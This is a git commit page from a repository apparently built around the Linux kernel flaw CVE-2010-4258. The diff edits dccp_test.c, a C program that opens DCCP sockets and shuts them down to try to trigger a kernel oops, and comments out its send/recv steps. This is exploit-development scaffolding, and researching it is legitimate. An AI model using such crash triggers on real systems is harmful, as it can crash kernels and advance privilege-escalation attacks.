diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-03-09 12:42:08 -0500 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-03-09 12:42:08 -0500 |
commit | e6f30cbb4d6c6400b012ae82e727a35194868048 (patch) | |
tree | 22ae03f82d64e9256a4be02754cb0961e9132aab | |
parent | Flip order more. (diff) | |
download | CVE-2010-4258-e6f30cbb4d6c6400b012ae82e727a35194868048.tar.xz CVE-2010-4258-e6f30cbb4d6c6400b012ae82e727a35194868048.zip |
Dual shutdown.
-rw-r--r-- | dccp_test.c | 14 |
1 files changed, 9 insertions, 5 deletions
diff --git a/dccp_test.c b/dccp_test.c index 9346660..5e69af9 100644 --- a/dccp_test.c +++ b/dccp_test.c @@ -43,14 +43,19 @@ int main() perror(NULL); return -1; } - sleep(1); + if (shutdown(client, SHUT_RDWR) < 0) { + printf("[-] Could not close connection.\n"); + perror(NULL); + return -1; + } + /*sleep(1); char buf[512]; if (recv(client, buf, 512, 0) < 0) { printf("[-] Could not recv.\n"); perror(NULL); return -1; } - printf("[-] Received junk: %s\n", buf); + printf("[-] Received junk: %s\n", buf);*/ } else { sleep(1); int hello = socket(PF_INET, SOCK_DCCP, IPPROTO_DCCP); @@ -74,14 +79,13 @@ int main() printf("[-] Could not close connection.\n"); perror(NULL); return -1; - } - + }/* char junk[] = "sending my l33t shit yo way"; if (send(hello, junk, sizeof(junk), 0) < 0) { printf("[-] Failed to send the junk.\n"); perror(NULL); return -1; - } + }*/ } printf("[-] Connection did not trigger oops.\n"); |